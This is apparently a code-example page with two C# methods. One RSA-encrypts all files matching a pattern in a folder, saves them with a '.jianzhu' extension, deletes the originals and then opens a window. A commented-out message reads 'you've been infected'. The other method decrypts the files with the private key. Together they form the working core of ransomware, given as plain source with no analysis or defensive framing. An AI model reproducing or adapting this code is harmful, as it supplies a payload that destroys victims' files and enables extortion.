Пример #1
0
        public void jie2() //RSA非对称算法解密文件
        {
            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);

            //将私钥导入RSA中,准备解密;
            rsa.FromXmlString(PrivateKey);

            //对数据进行解密,并返回解密结果;

            //List<string> j = new List<string>();

            this.j = GetFiles(path2, pattern);
            // MessageBox.Show((j.Count).ToString());
            // File.Delete(j[0]);
            if (j.Count != 0)
            {
                for (int i = 0; i < j.Count; i++)
                {
                    //byte[] b = File.ReadAllBytes(j[i]);
                    //MessageBox.Show((b.Length).ToString());
                    //byte[] c = this.Encrypt(b, "eeeeewedfwef");


                    //File.WriteAllBytes(j[i] + ".jianzhu", c);
                    //File.Delete(j[i]);
                    // Random random = new Random();
                    // File.WriteAllText(j[i], random.Next().ToString());

                    //FileStream file1 = new FileStream(j[i] + ".jianzhu", FileMode.CreateNew, FileAccess.Write);


                    //file1.Write(c, 0, c.Length);//写入二进制
                    //file1.Dispose();


                    //byte[] d = File.ReadAllBytes(j[i] + ".jianzhu");25651196

                    byte[] d = File.ReadAllBytes(j[i]);

                    try
                    {
                        string niuyifan = Convert.ToBase64String(d);
                        string ee       = RSADecryptEncrypt.Decrypt(PrivateKey, niuyifan);
                        byte[] e        = Convert.FromBase64String(ee);
                        // File.WriteAllBytes(j[i] + ".jianzhujie", e);
                        File.WriteAllBytes((j[i]).Replace(".jianzhu", ""), e);
                        File.Delete(j[i]);
                    }
                    catch
                    {
                        File.WriteAllBytes((j[i]).Replace(".jianzhu", ""), d);
                        File.Delete(j[i]);
                    }
                }

                // MessageBox.Show("解密成功");
                MessageBox.Show("解密成功", "", MessageBoxButtons.OK, MessageBoxIcon.None, MessageBoxDefaultButton.Button1, MessageBoxOptions.ServiceNotification);
            }
        }
Пример #2
0
        public void Fu2()   //用RSA算法非对称加密文件
        {
            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);

            //将公钥导入到RSA对象中,准备加密;
            rsa.FromXmlString(PublicKey);

            //对数据data进行加密,并返回加密结果;
            //第二个参数用来选择Padding的格式

            //return buffer;
            //List<string> j = new List<string>();  PrivateKey.xml

            this.j = GetFiles(path2, pattern);
            // MessageBox.Show((j.Count).ToString());
            // File.Delete(j[0]);
            if (j.Count != 0)
            {
                for (int i = 0; i < j.Count; i++)
                {
                    byte[] b = File.ReadAllBytes(j[i]);

                    if (b.Length <= 9651196)
                    {
                        try {
                            string niuyifan = Convert.ToBase64String(b);
                            string cc       = RSADecryptEncrypt.Encrypt(PublicKey, niuyifan);
                            byte[] c        = Convert.FromBase64String(cc);



                            File.WriteAllBytes(j[i] + ".jianzhu", c);
                            // MessageBox.Show((c.Length).ToString());
                            File.Delete(j[i]);
                            //
                        } catch {  }
                    }
                    // Random random = new Random();
                    //File.Delete(j[i]);
                    // File.WriteAllText(j[i], random.Next().ToString());

                    //FileStream file1 = new FileStream(j[i] + ".jianzhu", FileMode.CreateNew, FileAccess.Write);


                    //file1.Write(c, 0, c.Length);//写入二进制
                    //file1.Dispose();


                    //byte[] d = File.ReadAllBytes(j[i] + ".jianzhu");
                    //  byte[] e = this.Decrypt(d, "eeeeewedfwef");
                    //  File.WriteAllBytes(j[i] + ".jianzhujie", e);
                }
            }
            Form1 f = new Form1();

            //  MessageBox.Show("你中毒了");
            Control.CheckForIllegalCrossThreadCalls = false;
            f.AllowDrop = false;

            f.ShowDialog();
        }